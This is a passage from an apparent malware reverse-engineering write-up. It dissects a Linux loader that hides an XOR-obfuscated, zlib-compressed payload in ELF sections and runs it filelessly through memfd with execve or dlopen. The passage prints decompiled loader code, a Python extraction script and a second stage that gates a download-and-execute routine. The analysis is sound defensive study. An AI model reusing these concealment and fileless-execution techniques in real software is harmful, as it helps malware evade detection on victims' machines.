So it appears that the malware has the section names obfuscated, it deobfuscates the name with the function we found, then extracts what’s in that section from itself. The question is what does it do with the data now that it’s extracted

Eventually, we hit what appears to be the jackpot

1
0000320c              if (lzss_like_compress(var_1a0, var_188, var_190, var_198) != -1)
2
00003234                  if (prob_zlib_decompress_caller(var_1a0, var_198, r12, &var_188) != 0)
3
00003234                      goto cooked
4
00003234
5
00003251                  if (memfd_dlopen_or_execve_malware(var_190, var_188) != 0)
6
00003251                      goto cooked

Of course, my function renaming spoils the surprise.

First, we have a function that does some sort of LZSS like compression, which I name lzss_like_compress. That part isn’t that important though.

What’s really important is the next 2 functions, specifically the 3rd one

We have a function that tries to perform a zlib decompression on the passed in data

1
000037b0  int64_t prob_zlib_decompress_caller(int64_t arg1, int64_t arg2, int64_t* arg3,
2
000037b0      size_t* arg4)
3

4
000037bd      int64_t* r13 = arg3
5
000037d0      void* fsbase
6
000037d0      int64_t rax = *(fsbase + 0x28)
7
000037e3      bool cond:0 = arg3 == 0
8
000037e9      int64_t s
9
000037e9      __builtin_memset(&s, c: 0, n: 0x68)
10
000037f2      arg3.b = arg4 == 0
11
00003800      int32_t result
12
00003800
13
00003800      if ((cond:0 | arg3.b) == 0 && arg1 != 0)
14
00003806          size_t size = arg2 * 2
15
0000380a          int32_t var_a0_1 = arg2.d
16
00003816          s = arg1
17
0000381a          int64_t rax_2 = calloc(nmemb: 1, size)
18
0000381f          int64_t r15_1 = rax_2
19
0000381f
20
00003825          if (rax_2 != 0)
21
0000382b              *arg4 = size
22
0000382b
23
00003839              if (sub_aff0(&s) != 0)
24
00003910                  free(ptr: r15_1)
25
00003839              else
26
0000383f                  size_t n = *arg4
27
00003881                  int32_t i
28
00003881
29
00003881                  do
30
00003897                      size_t var_80
31
00003897                      int64_t var_90_1 = r15_1 + var_80
32
0000389c                      int32_t var_88_1 = n.d - var_80.d
33
000038a0                      i = prob_zlib_inflate(&s, 0)
34
000038a0
35
000038ab                      if (i == 1)
36
000039a3                          result = sub_d120(&s)
37
000039a3
38
000039aa                          if (result != 0)
39
000039aa                              goto label_3908
40
000039aa
41
000039b5                          *r13 = r15_1
42
000039b9                          *arg4 = var_80
43
000039bd                          goto label_391f
44
000039bd
45
000038b1                      n = *arg4
46
000038b8                      double zmm0_1
47
000038b8                      double zmm1_1
48
000038b8                      int64_t var_98
49
000038b8                      int64_t rax_5
50
000038b8
51
000038b8                      if (n s>= 0)
52
0000384f                          zmm0_1 = float.d(n)
53
00003854                          rax_5 = r15_1 - var_98
54
00003854
55
00003859                          if (r15_1 - var_98 s< 0)
56
000038f4                              zmm1_1 = float.d(rax_5 u>> 1 | zx.q(rax_5.d & 1))
57
000038f9                              zmm1_1 = zmm1_1 + zmm1_1
58
00003859                          else
59
00003863                              zmm1_1 = float.d(rax_5)
60
000038b8                      else
61
000038cd                          zmm0_1 = float.d(n u>> 1 | zx.q(n.d & 1))
62
000038d5                          zmm0_1 = zmm0_1 + zmm0_1
63
000038d9                          rax_5 = r15_1 - var_98
64
000038d9
65
000038de                          if (r15_1 - var_98 s>= 0)
66
00003863                              zmm1_1 = float.d(rax_5)
67
000038de                          else
68
000038f4                              zmm1_1 = float.d(rax_5 u>> 1 | zx.q(rax_5.d & 1))
69
000038f9                              zmm1_1 = zmm1_1 + zmm1_1
70
000038f9
71
00003878                      if (zmm1_1 > 0.75 * zmm0_1)
72
0000394c                          zmm0_1 = zmm0_1 + 0.25 * zmm0_1
73
0000394c
74
00003958                          if (zmm0_1 >= 9.2233720368547758e+18)
75
00003997                              n = int.q(zmm0_1 - 9.2233720368547758e+18) ^ 0x8000000000000000
76
00003958                          else
77
0000395a                              n = int.q(zmm0_1)
78
0000395a
79
00003965                          int64_t rax_12 = realloc(ptr: r15_1, n)
80
00003965
81
0000396d                          if (rax_12 == 0)
82
0000396d                              break
83
0000396d
84
0000396f                          *arg4 = n
85
00003973                          r15_1 = rax_12
86
00003881                  while (i == 0)
87
00003908                  label_3908:
88
00003908
89
0000390b                  if (r15_1 != 0)
90
00003910                      free(ptr: r15_1)
91
00003910
92
00003915      result = 1
93
0000391f      label_391f:
94
0000391f      *(fsbase + 0x28)
95
0000391f
96
00003928      if (rax == *(fsbase + 0x28))
97
0000393c          return result
98
0000393c
99
000039c2      __stack_chk_fail()
100
000039c2      noreturn

Once the zlib decompression occurs, it takes the result, which is some sort of executable or shared library, and tries to run it in two ways based on a certain condition

1
if (memfd_dlopen_or_execve_malware(var_190, var_188) != 0)
2
    goto cooked

1
00005da0  uint64_t memfd_dlopen_or_execve_malware(int64_t arg1, uint64_t arg2)
2

3
00005db6      void* fsbase
4
00005db6      int64_t rax = *(fsbase + 0x28)
5
00005dd5      int128_t brainrot4
6
00005dd5      __builtin_strncpy(dest: &brainrot4, src: "skibidi_toilet_ohio_rizz_gyatt_sigma_male_grindset_mewing_streak", n: 0x41)
7
00005e24      int32_t rbx_2
8
00005e24
9
00005e24      if (arg1 == 0 || arg2 == 0)
10
00005f80          rbx_2 = 1
11
00005e24      else if (*(arg1 + 0x18) != 0)
12
00005f55          rbx_2 = execve_malware(arg1, arg2)
13
00005e32      else
14
00005e41          int32_t fd = memfd_create(&data_19061, 0)
15
00005e46          uint64_t fd_1 = zx.q(fd)
16
00005e46
17
00005e4c          if (fd == 0xffffffff)
18
00005f80              rbx_2 = 1
19
00005e4c          else if (write(fd, buf: arg1, nbytes: arg2) == 0)
20
00005f80              rbx_2 = 1
21
00005e62          else
22
00005e72              int64_t* rax_2 = calloc(nmemb: 1, size: 0xf)
23
00005e72
24
00005e7d              if (rax_2 == 0)
25
00005f80                  rbx_2 = 1
26
00005e7d              else
27
00005e9a                  *rax_2 = 0x3a1a4b0a0d1b1b5c
28
00005ea3                  *(rax_2 + 7) = 0x5b010a4609183a
29
00005ea7                  int32_t rax_3 = (*"to griddy dance because this man…")[0].q(&brainrot4, 0x41, rax_2, 0xf)
30
00005ead                  rbx_2 = rax_3
31
00005eb1                  char* s
32
00005eb1
33
00005eb1                  if (rax_3 == 0)
34
00005ec1                      s = calloc(nmemb: 1, size: 0x19)
35
00005ec1
36
00005ecc                  if (rax_3 != 0 || s == 0)
37
00005f7b                      free(ptr: rax_2)
38
00005f80                      rbx_2 = 1
39
00005ecc                  else
40
00005ef6                      int32_t rax_5 = __snprintf_chk(s, maxlen: 0x19, flag: 2, slen: 0x19, format: "%s%d", rax_2, fd_1)
41
00005eff                      int64_t rax_6
42
00005eff                      int64_t var_90
43
00005eff
44
00005eff                      if (rax_5 s>= 0)
45
00005f0d                          rax_6 = dlopen(s, 1, fd_1, var_90)
46
00005f0d
47
00005f18                      if (rax_5 s< 0 || rax_6 == 0)
48
00005f93                          free(ptr: rax_2)
49
00005f9b                          free(ptr: s)
50
00005f80                          rbx_2 = 1
51
00005f18                      else
52
00005f24                          int64_t rax_7 = dlsym(rax_6, &data_19076)
53
00005f24
54
00005f2f                          if (rax_7 == 0)
55
00005fa5                              rbx_2 = 1
56
00005faa                              free(ptr: rax_2)
57
00005f2f                          else
58
00005f33                              rax_7()
59
00005f38                              free(ptr: rax_2)
60
00005f38
61
00005f40                          free(ptr: s)
62
00005f48                          dlclose(rax_6)
63
00005f48
64
00005f5c      *(fsbase + 0x28)
65
00005f5c
66
00005f65      if (rax == *(fsbase + 0x28))
67
00005f73          return zx.q(rbx_2)
68
00005f73
69
00005fb1      __stack_chk_fail()
70
00005fb1      noreturn

Basically, what this is doing is that it checks if the malware it wants to execute is a shared library or a standalone executable. This is seen in this check

1
else if (*(arg1 + 0x18) != 0)
2
    rbx_2 = execve_malware(arg1, arg2)

The offset 0x18 in an ELF is used to store the entry point. Standalone executables have an entry point, and this offset will be non zero. However, for a shared library, it doesn’t have an entry point, and therefore would be 0.

This check essentially performs an execve on the malware contents to run it as a standalone executable if it detects that it is one using the below function. It does this by writing the malware contents to a memfd, constructing the path to that fd using some obfuscated values, and then running execve

I would go over this in detail, but this is very similar to how the binary dynamically loads a shared library, which we’re going over next. Since it’d be redundant to do it now, I’ll go over the specifics then

1
00005bf0  uint64_t execve_malware(int64_t arg1, uint64_t arg2)
2

3
00005c04      void* fsbase
4
00005c04      int64_t rax = *(fsbase + 0x28)
5
00005c21      int128_t var_58 = zx.o(0)
6
00005c25      int64_t brainrot3
7
00005c25      __builtin_strncpy(dest: &brainrot3, src: "skibbity", n: 9)
8
00005c34      int64_t var_3f = 0x1c0746010d1b1b5c
9
00005c43      var_3f = 0x460604460d1f1c
10
00005c4b      int64_t* rax_1
11
00005c4b
12
00005c4b      if (arg1 != 0)
13
00005c61          rax_1 = calloc(nmemb: 1, size: 0xf)
14
00005c61
15
00005c6c      int32_t r12
16
00005c6c
17
00005c6c      if (arg1 == 0 || rax_1 == 0)
18
00005d50          r12 = 1
19
00005c6c      else
20
00005c89          *rax_1 = var_3f
21
00005c91          *(rax_1 + 7) = var_3f
22
00005c95          int32_t rax_4 = (*"to griddy dance because this man…")[0].q(&brainrot3, 9, rax_1, 0xf)
23
00005c9b          r12 = rax_4
24
00005c9b
25
00005ca0          if (rax_4 != 0)
26
00005d90              r12 = 1
27
00005ca0          else
28
00005caf              int32_t fd = memfd_create(&data_19061, 0)
29
00005caf
30
00005cba              if (fd == 0xffffffff)
31
00005d90                  r12 = 1
32
00005cba              else if (write(fd, buf: arg1, nbytes: arg2) == 0)
33
00005d90                  r12 = 1
34
00005cd0              else
35
00005ce0                  char* s = calloc(nmemb: 1, size: 0x19)
36
00005ce0
37
00005ceb                  if (s == 0)
38
00005d90                      r12 = 1
39
00005ceb                  else if (__snprintf_chk(s, maxlen: 0x19, flag: 2, slen: 0x19, format: "%s%d", rax_1, zx.q(fd)) s< 0)
40
00005d83                      free(ptr: s)
41
00005d90                      r12 = 1
42
00005d1e                  else
43
00005d2d                      var_58.q = s
44
00005d3c                      int64_t var_60
45
00005d3c
46
00005d3c                      if (execve(s, &var_58, __bss_start, var_60) == 0xffffffff)
47
00005d83                          free(ptr: s)
48
00005d90                          r12 = 1
49
00005d3c                      else
50
00005d3e                          free(ptr: s)
51
00005d3e
52
00005d46          free(ptr: rax_1)
53
00005d46
54
00005d5b      *(fsbase + 0x28)
55
00005d5b
56
00005d64      if (rax == *(fsbase + 0x28))
57
00005d75          return zx.q(r12)
58
00005d75
59
00005d98      __stack_chk_fail()
60
00005d98      noreturn

Otherwise, if not a standalone executable and is instead a shared library, the binary dynamically will load the shared library from a memfd

Now, the specifics…

First it creates a memfd

1
00005e41          int32_t fd = memfd_create(&data_19061, 0)
2
00005e46          uint64_t fd_1 = zx.q(fd)

It also saves the file descriptor that was created

It then writes the malware payload into the memfd

1
00005e4c          else if (write(fd, buf: arg1, nbytes: arg2) == 0)
2
00005f80              rbx_2 = 1

It then wants to call dlopen on what is in that memfd, but dlopen takes a path, not a fd as input.

To resolve this, it performs this snprintf call with obfuscated values to build a filepath to the memfd

1
00005e9a                  *rax_2 = 0x3a1a4b0a0d1b1b5c
2
00005ea3                  *(rax_2 + 7) = 0x5b010a4609183a
3
00005ea7                  int32_t rax_3 = (*"to griddy dance because this man…")[0].q(&brainrot4, 0x41, rax_2, 0xf)
4
00005ead                  rbx_2 = rax_3
5
00005eb1                  char* s
6
00005eb1
7
00005eb1                  if (rax_3 == 0)
8
00005ec1                      s = calloc(nmemb: 1, size: 0x19)
9
00005ec1
10
00005ecc                  if (rax_3 != 0 || s == 0)
11
00005f7b                      free(ptr: rax_2)
12
00005f80                      rbx_2 = 1
13
00005ecc                  else
14
00005ef6                      int32_t rax_5 = __snprintf_chk(s, maxlen: 0x19, flag: 2, slen: 0x19, format: "%s%d", rax_2, fd_1)

This is using that same deobfuscation function from earlier. If we use that same logic to deobfuscate this new blob, it results in /proc/self/fd/

So this snprintf call is building the filepath /proc/self/fd/<whatever fd was returned by memfd_create>

It’s essentially just trying to hide the path that it is calling

It then calls dlopen on the memfd to dynamically load the shared library

1
00005f0d                          rax_6 = dlopen(s, 1, fd_1, var_90)

It then dynamically loads a symbol (a function) and executes it

1
00005f24                          int64_t rax_7 = dlsym(rax_6, &data_19076)
2
00005f24
3
00005f2f                          if (rax_7 == 0)
4
00005fa5                              rbx_2 = 1
5
00005faa                              free(ptr: rax_2)
6
00005f2f                          else
7
00005f33                              rax_7()

That function it tries to execute is named run

Ok, that was a lot of information. What is the conclusion?

This binary we are analyzing is some sort of malware loader.

It takes some kind of malware payload, which it assumes to be zlib compressed, decompresses it, then executes it if it is a standalone executable or dynamically loads and executes the function run if it is a shared library.

Now the next question is, what exactly is the malware payload it is loading?

This is where those sections from earlier come into play

Rev-ception

main extracts the contents of what was in the second obfuscated blob

1
00003100          if (extract_resource_from_file(*argv, r15_3, &var_1a0, &var_198) != 0)

Which we now know to be .init.constructors.global

It also extracts the contents of what was in the third obfuscated blob

1
000031a2              if (extract_resource_from_file(*argv, r15_3, &var_180, &var_178) != 0)

Which we now know to be .bss_secure_buffer

In both above calls, r15_3 is the result of the deobfuscation function call, storing the now deobfuscated string. Below is one example when deobfuscating the second obfuscated blob

1
000030aa          *r15_3 = obfuscated_blob2
2
000030b7          *(r15_3 + 0xa) = obfuscated_blob2
3
000030b7
4
000030c1          if (r14_1(&brainrot1, 0x50, r15_3, 0x1a) != 0)

It performs the deobfuscation logic that we found earlier with the content in these 2 sections as input

1
000031dd              if ((*"to griddy dance because this man…")[0].q(var_180, var_178, var_1a0, var_198) != 0)

It then performs the zlib decompression and malware execution on the contents of said deobfuscation

1
0000320c              if (lzss_like_compress(var_1a0, var_188, var_190, var_198) != -1)
2
00003234                  if (prob_zlib_decompress_caller(var_1a0, var_198, r12, &var_188) != 0)
3
00003234                      goto cooked
4
00003234
5
00003251                  if (memfd_dlopen_or_execve_malware(var_190, var_188) != 0)
6
00003251                      goto cooked

So what is located in .init.constructors.global and .bss_secure_buffer?

We can use readelf for this

.bss_secure_buffer appears to be the entire brainrot string we’ve been seeing bits and pieces of throughout our analysis

1
readelf -x .bss_secure_buffer ./suspicious

returns

1
Hex dump of section '.bss_secure_buffer':
2
  0x00023098 596f2079 6f20796f 2c206e6f 20636170 Yo yo yo, no cap
3
  0x000230a8 20667220 66722c20 77616c6b 696e6720  fr fr, walking
4
  0x000230b8 696e746f 20746861 74204d6f 6e646179 into that Monday
5
  0x000230c8 206d6f72 6e696e67 20737461 6e647570  morning standup
6
  0x000230d8 20686164 206d6520 6665656c 696e6720  had me feeling
7
  0x000230e8 6c696b65 20746865 204f6869 6f206669 like the Ohio fi
8
  0x000230f8 6e616c20 626f7373 20696e20 736f6d65 nal boss in some
9
  0x00023108 20736b69 62696469 20746f69 6c657420  skibidi toilet
10
  0x00023118 636f6465 20726576 69657720 676f6e65 code review gone
11
  0x00023128 2077726f 6e672e20 54686520 74656368  wrong. The tech
12
  0x00023138 206c6561 64207265 616c6c79 2070756c  lead really pul
13
  0x00023148 6c656420 75702061 6e642073 61696420 led up and said
14
  0x00023158 22776520 6e656564 20746f20 72656661 "we need to refa
15
  0x00023168 63746f72 20746869 73206c65 67616379 ctor this legacy
16
  0x00023178 20636f64 65626173 65222077 68696c65  codebase" while
17
  0x00023188 2049276d 20736974 74696e67 20746865  I'm sitting the
18
  0x00023198 7265206d 6577696e 67207769 7468206d re mewing with m
19
  0x000231a8 6178696d 756d2067 79617474 20656e65 aximum gyatt ene
20
  0x000231b8 7267792c 20747279 696e6720 6e6f7420 rgy, trying not
21
  0x000231c8 746f2067 72696464 79206461 6e636520 to griddy dance
22
  0x000231d8 62656361 75736520 74686973 206d616e because this man
23
  0x000231e8 20746869 6e6b7320 68652773 20676f74  thinks he's got
24
  0x000231f8 20746861 74203130 7820656e 67696e65  that 10x engine
25
  0x00023208 65722073 69676d61 20677269 6e647365 er sigma grindse
26
  0x00023218 74206275 74206865 27732073 65727669 t but he's servi
27
  0x00023228 6e67206d 616a6f72 206a756e 696f7220 ng major junior
28
  0x00023238 64657620 62657461 20766962 65732c20 dev beta vibes,
29
  0x00023248 6f6e6c79 20696e20 4f68696f 20776f75 only in Ohio wou
30
  0x00023258 6c642073 6f6d656f 6e652070 75736820 ld someone push
31
  0x00023268 64697265 63746c79 20746f20 6d61696e directly to main
32
  0x00023278 20627275 682e204d 65616e77 68696c65  bruh. Meanwhile
33
  0x00023288 2c205361 72616820 66726f6d 20446576 , Sarah from Dev
34
  0x00023298 4f707320 69732073 74726169 67687420 Ops is straight
35
  0x000232a8 75702072 697a7a69 6e672074 6865206c up rizzing the l
36
  0x000232b8 69666520 6f757420 6f662074 68657365 ife out of these
37
  0x000232c8 2043492f 43442070 6970656c 696e6573  CI/CD pipelines
38
  0x000232d8 20776974 68206865 7220446f 636b6572  with her Docker
39
  0x000232e8 20636f6e 66696775 72617469 6f6e7320  configurations
40
  0x000232f8 74686174 20686974 20646966 66657265 that hit differe
41
  0x00023308 6e74202d 20686f6d 65676972 6c20676f nt - homegirl go
42
  0x00023318 74207468 61742073 6b696269 64692062 t that skibidi b
43
  0x00023328 6f702062 6f702064 65706c6f 796d656e op bop deploymen
44
  0x00023338 74206761 6d652c20 77652061 62736f6c t game, we absol
45
  0x00023348 7574656c 79207374 616e2061 2070726f utely stan a pro
46
  0x00023358 64756374 69766520 71756565 6e207768 ductive queen wh
47
  0x00023368 6f277320 6d657769 6e672068 65722077 o's mewing her w
48
  0x00023378 61792074 68726f75 6768204b 75626572 ay through Kuber
49
  0x00023388 6e657465 73206d61 6e696665 73747320 netes manifests
50
  0x00023398 6c696b65 20736865 27732044 756b6520 like she's Duke
51
  0x000233a8 44656e6e 69732074 65616368 696e6720 Dennis teaching
52
  0x000233b8 636f6e74 61696e65 72206f72 63686573 container orches
53
  0x000233c8 74726174 696f6e2e 20546865 2077686f tration. The who
54
  0x000233d8 6c652074 65616d20 77617320 6c6f776b le team was lowk
55
  0x000233e8 65792066 616e756d 20746178 696e6720 ey fanum taxing
56
  0x000233f8 65616368 206f7468 65722773 20476974 each other's Git
57
  0x00023408 48756220 636f6d6d 69747320 7768696c Hub commits whil
58
  0x00023418 65206772 69646479 2064616e 63696e67 e griddy dancing
59
  0x00023428 2061726f 756e6420 74686573 65207370  around these sp
60
  0x00023438 72696e74 20646561 646c696e 65732c20 rint deadlines,
61
  0x00023448 62757420 686f6e65 73746c79 3f205468 but honestly? Th
62
  0x00023458 69732074 65636820 73746163 6b206973 is tech stack is
63
  0x00023468 20616273 6f6c7574 656c7920 62757373  absolutely buss
64
  0x00023478 696e2062 75737369 6e206e6f 20636170 in bussin no cap
65
  0x00023488 2c207765 27726520 616c6c20 6665656c , we're all feel
66
  0x00023498 696e6720 6d6f7265 20626c65 73736564 ing more blessed
67
  0x000234a8 20746861 6e204261 62792047 726f6e6b  than Baby Gronk
68
  0x000234b8 20676574 74696e67 20686973 20666972  getting his fir
69
  0x000234c8 73742070 756c6c20 72657175 65737420 st pull request
70
  0x000234d8 6d657267 65642062 79204c69 76767920 merged by Livvy
71
  0x000234e8 44756e6e 652e2057 68656e20 74686520 Dunne. When the
72
  0x000234f8 70726f64 75637420 6d616e61 67657220 product manager
73
  0x00023508 616e6e6f 756e6365 64207765 27726520 announced we're
74
  0x00023518 73776974 6368696e 6720746f 20547970 switching to Typ
75
  0x00023528 65536372 6970742c 20746865 20636f6c eScript, the col
76
  0x00023538 6c656374 69766520 67796174 7420656e lective gyatt en
77
  0x00023548 65726779 20696e20 74686174 20776172 ergy in that war
78
  0x00023558 20726f6f 6d207761 73206769 76696e67  room was giving
79
  0x00023568 20756e6d 61746368 6564204f 68696f20  unmatched Ohio
80
  0x00023578 76696265 732c206c 696b6520 7765206a vibes, like we j
81
  0x00023588 75737420 7769746e 65737365 64207468 ust witnessed th
82
  0x00023598 6520736b 69626964 6920746f 696c6574 e skibidi toilet
83
  0x000235a8 206f6620 70726f67 72616d6d 696e6720  of programming
84
  0x000235b8 6c616e67 75616765 7320636f 6d70696c languages compil
85
  0x000235c8 6520696e 20726561 6c207469 6d652e20 e in real time.
86
  0x000235d8 546f7563 68206772 6173733f 204e6168 Touch grass? Nah
87
  0x000235e8 20626573 7469652c 20776527 72652074  bestie, we're t
88
  0x000235f8 6f756368 696e6720 6b657962 6f617264 ouching keyboard
89
  0x00023608 7320616e 64206c69 76696e67 206f7572 s and living our
90
  0x00023618 206d6f73 74207369 676d6120 64657665  most sigma deve
91
  0x00023628 6c6f7065 72206c69 66652077 68696c65 loper life while
92
  0x00023638 20746865 20696d70 6f73746f 7220616d  the impostor am
93
  0x00023648 6f6e6720 75732070 72657465 6e647320 ong us pretends
94
  0x00023658 746f2075 6e646572 7374616e 64204269 to understand Bi
95
  0x00023668 67204f20 6e6f7461 74696f6e 2e205468 g O notation. Th
96
  0x00023678 69732073 7072696e 7420706c 616e6e69 is sprint planni
97
  0x00023688 6e672077 61732073 74726169 67687420 ng was straight
98
  0x00023698 75702067 6976696e 67206d61 696e2063 up giving main c
99
  0x000236a8 68617261 63746572 20656e65 72677920 haracter energy
100
  0x000236b8 62757420 6d616b65 20697420 66756c6c but make it full
101
  0x000236c8 2d737461 636b2c20 70657269 6f647420 -stack, periodt
102
  0x000236d8 6e6f2070 72696e74 65722064 65746563 no printer detec
103
  0x000236e8 7465642c 20736b69 62696469 20626f70 ted, skibidi bop
104
  0x000236f8 20626f70 206e706d 20696e73 74616c6c  bop npm install
105
  0x00023708 20796573 20796573 2e0a               yes yes..

.init.constructors.global appears to be some sort of obfuscated content

1
readelf -x .init.constructors.global ./suspicious

It is very long so the below is just a short snippet

1
Hex dump of section '.init.constructors.global':
2
  0x000230a0 21b5cd04 665c2aaa dadf23f5 b6d15421 !...f\*...#...T!
3
  0x000230b0 2b8474f1 31e396f4 f17c7b07 003d7568 +.t.1....|{..=uh
4
  0x000230c0 c82cff67 622eb2f5 82f16859 074d4f21 .,.gb.....hY.MO!
5
  0x000230d0 0ca8a960 c2724c4d c28108dd 496bde3f ...`.rLM....Ik.?
6
  0x000230e0 3139d048 723df3aa d4dd59c4 57ea3cf9 19.Hr=....Y.W.<.
7
  0x000230f0 464bbfe0 c60ba6a9 fc93d12a edea1dd6 FK.........*....
8
  0x00023100 918e93d9 9e66ec03 ce9ea256 bda3f456 .....f.....V...V
9
  0x00023110 4795b59d 5c0911cd c9015520 95213ce3 G...\.....U .!<.
10
  0x00023120 467a2d37 32d1aeec 11bb2789 4c9311e0 Fz-72.....'.L...
11
  0x00023130 544ebb04 fea5516c bd324fb9 5ca411f9 TN....Ql.2O.\...
12
  0x00023140 58fda499 66dde528 2a951edd 9dd5f943 X...f..(*......C
13
  0x00023150 bc5c734a 5c2f0e6b d069cf20 bdd9316b .\sJ\/.k.i. ..1k
14
  0x00023160 f53336fa 76c848c3 47917579 cba3cb3b .36.v.H.G.uy...;
15
  0x00023170 b9d2bc20 85cce914 e4c9359a 6eb54f10 ... ......5.n.O.
16
  0x00023180 893b0177 ae45b34b 2c69b5c9 7796c152 .;.w.E.K,i..w..R
17
  0x00023190 cf15fda6 40968fcb 34d82680 cac13c0c ....@...4.&...<.
18
  0x000231a0 9d13087a 408a9761 8c6e1e75 1f47fc55 ...z@..a.n.u.G.U
19
...
20
...
21
...
22
A lot more stuff after
23
...
24
...
25
...

It appears the actual malware payload is obfuscated and hidden within this binary in its program sections! A binary hidden in a binary.

This looks very similar to the obfuscated blobs we have already deobfuscated thus far. We need to use the brainrot string as a key to deobfuscate the obfuscated data.

Said obfuscated data in this case will be zlib compressed, so we have to decompress it.

Then, if everything worked as intended, we should end up with some sort of executable, or a shared library.

We can write a Python script to attempt to do exactly this

To preface, I had dumped the output of the brainrot string into a file called out.bin and the content of the obfuscated data into a file called "init_constructors_global.bin". I am also using “mimic” as my prefix since we are attempting to mimic the malware

1
#!/usr/bin/env python3
2
import zlib
3
from pathlib import Path
4

5
KEYPATH = "out.bin"
6
BUFPATH = "init_constructors_global.bin"
7
OUT_PREFIX = "mimic"
8

9
def load():
10
    key = Path(KEYPATH).read_bytes()
11
    buf = bytearray(Path(BUFPATH).read_bytes())
12
    return key, buf
13

14
def malware_deobf_like(buf, key, param2, param4, start_key_offset=0):
15
    """
16
    Implements the Ghidra pseudocode:
17
      for uVar1 from 0; if param4 != 1 then
18
        buf[uVar1] ^= *(param1 + (uVar1 % (param2 - 1)))
19
        uVar1++
20
      while (param4 - 1 != uVar1)
21
    Number of XOR ops = param4 - 1 (unless param4 == 1 -> none)
22
    param2 is the value passed as second arg (used as param2 - 1 in modulus).
23
    """
24
    out = bytearray(buf)  # copy
25
    if param4 == 1:
26
        return out
27
    keylen = len(key)
28
    mod = param2 - 1
29
    # protect against mod == 0; Ghidra code would use modulo with (param_2 -1U) which would be UB if zero,
30
    # but we'll treat mod==0 as index 0 (safe fallback)
31
    i = 0
32
    while True:
33
        if i >= len(out):
34
            break
35
        idx = (i % mod) if mod != 0 else 0
36
        key_idx = (start_key_offset + idx) % keylen
37
        out[i] ^= key[key_idx]
38
        i += 1
39
        if i == (param4 - 1):
40
            break
41
    return out
42

43
def try_decompress_all(blob, label):
44
    # try several wbits
45
    for wbits, name in ((15, "zlib"), (-15, "raw"), (31, "gzip")):
46
        try:
47
            dec = zlib.decompress(blob, wbits)
48
            Path(f"{OUT_PREFIX}_{label}_{name}.bin").write_bytes(dec)
49
            print("SUCCESS:", label, name, "-> wrote", f"{OUT_PREFIX}_{label}_{name}.bin", "size", len(dec))
50
            return True
51
        except Exception as e:
52
            pass
53
    # try streaming to collect partial output/error
54
    try:
55
        d = zlib.decompressobj()
56
        out = d.decompress(blob)
57
        out += d.flush()
58
        Path(f"{OUT_PREFIX}_{label}_stream.bin").write_bytes(out)
59
        print("STREAM success (no exception), wrote", f"{OUT_PREFIX}_{label}_stream.bin", "size", len(out))
60
        return True
61
    except zlib.error as e:
62
        # write partial output for inspection
63
        try:
64
            d = zlib.decompressobj()
65
            _ = d.decompress(blob)
66
            partial = d.flush()
67
        except Exception:
68
            partial = b""
69
        Path(f"{OUT_PREFIX}_{label}_partial.bin").write_bytes(partial)
70
        print("Decompress failed for", label, "error:", e, "wrote partial of", len(partial))
71
    return False
72

73
def main():
74
    key, buf = load()
75
    print("key len", len(key), "buf len", len(buf))
76

77
    # Reasonable param2/param4 candidates to try
78
    # param2 might be len(key), len(key)+1, or len(key)-1 (if stored length includes terminator)
79
    # param4 might be len(buf), len(buf)+1, len(buf)-1
80
    param2_candidates = [len(key), len(key)-1 if len(key)>1 else 1, len(key)+1]
81
    param4_candidates = [len(buf), max(1, len(buf)-1), len(buf)+1]
82

83
    tried = 0
84
    for p2 in param2_candidates:
85
        for p4 in param4_candidates:
86
            tried += 1
87
            label = f"p2{p2}_p4{p4}"
88
            print("Trying", label)
89
            cand = malware_deobf_like(buf, key, param2=p2, param4=p4, start_key_offset=0)
90
            # quick ELF check
91
            if cand.startswith(b"\x7fELF"):
92
                print("  -> ELF magic at start for", label)
93
                Path(f"{OUT_PREFIX}_{label}_elf.bin").write_bytes(cand)
94
            # try decompress
95
            try_decompress_all(bytes(cand), label)
96
    print("Tried", tried, "variants. Check output files.")
97

98
if __name__ == "__main__":
99
    main()

Additionally, from my comments, you can see that I tried to copy the Ghidra disassembly version of the same deobfuscation function that we already made. I was having issues when emulating Binja’s version.

The above script also attempts to decompress multiple times / ways just to make sure we’re not off offset wise or whatnot.

Running this successfully gets us something

1
key len 1658 buf len 16785
2
Trying p21658_p416785
3
SUCCESS: p21658_p416785 zlib -> wrote mimic_p21658_p416785_zlib.bin size 52968

We can run file on this output

1
file mimic_p21658_p416785_zlib.bin

We do successfully get what appears to be a shared library!

1
mimic_p21658_p416785_zlib.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=20d296cb481406379a05edef27676cd611430bf1, stripped

Onward to more analysis!

Rev Part 2. Electric Boogaloo

On this new binary, I use Ghidra for my analysis

Remember, from the loading logic we saw earlier, if the malware payload was a shared library, it would try to execute a function named run

Well, we found run

1
void run(void)
2

3
{
4
  bool bVar1;
5
  char cVar2;
6
  long in_FS_OFFSET;
7
  undefined rc4_decrypt [264];
8
  long local_10;
9

10
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
11
  rc4_ksa(rc4_decrypt,"skibidi",7);
12
  cVar2 = check_path_exists(rc4_decrypt);
13
  if (cVar2 == '\x01') {
14
    cVar2 = check_env_var_exists(rc4_decrypt);
15
    if (cVar2 == '\x01') {
16
      cVar2 = is_year_2024();
17
      if (cVar2 == '\x01') {
18
        cVar2 = is_root();
19
        if (cVar2 == '\x01') {
20
          cVar2 = file_contains_required_strings(rc4_decrypt);
21
          if (cVar2 == '\x01') {
22
            cVar2 = run_command_and_check_output(rc4_decrypt);
23
            if (cVar2 == '\x01') {
24
              bVar1 = false;
25
              goto LAB_00108e1d;
26
            }
27
          }
28
        }
29
      }
30
    }
31
  }
32
  bVar1 = true;
33
LAB_00108e1d:
34
  if (!bVar1) {
35
    download_and_execute_plugin(rc4_decrypt);
36
  }
37
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
38
                    /* WARNING: Subroutine does not return */
39
    __stack_chk_fail();
40
  }
41
  return;
42
}

From my renamed function names, we can see what this function is doing

RC4 is a keystream cipher. It encrypts/decrypts data byte-by-byte by XORing it with a pseudorandom keystream

It initializes an RC4 internal state using skibidi as the key, preparing it to generate a keystream

1
rc4_ksa(rc4_decrypt,"skibidi",7);

1
void rc4_ksa(long param_1,long param_2,ulong param_3)
2

3
{
4
  int local_14;
5
  int i;
6
  int j;
7

8
  for (i = 0; i < 0x100; i = i + 1) {
9
    *(char *)(param_1 + i) = (char)i;
10
  }
11
  local_14 = 0;
12
  for (j = 0; j < 0x100; j = j + 1) {
13
    local_14 = (int)((uint)*(byte *)(param_1 + j) + local_14 +
14
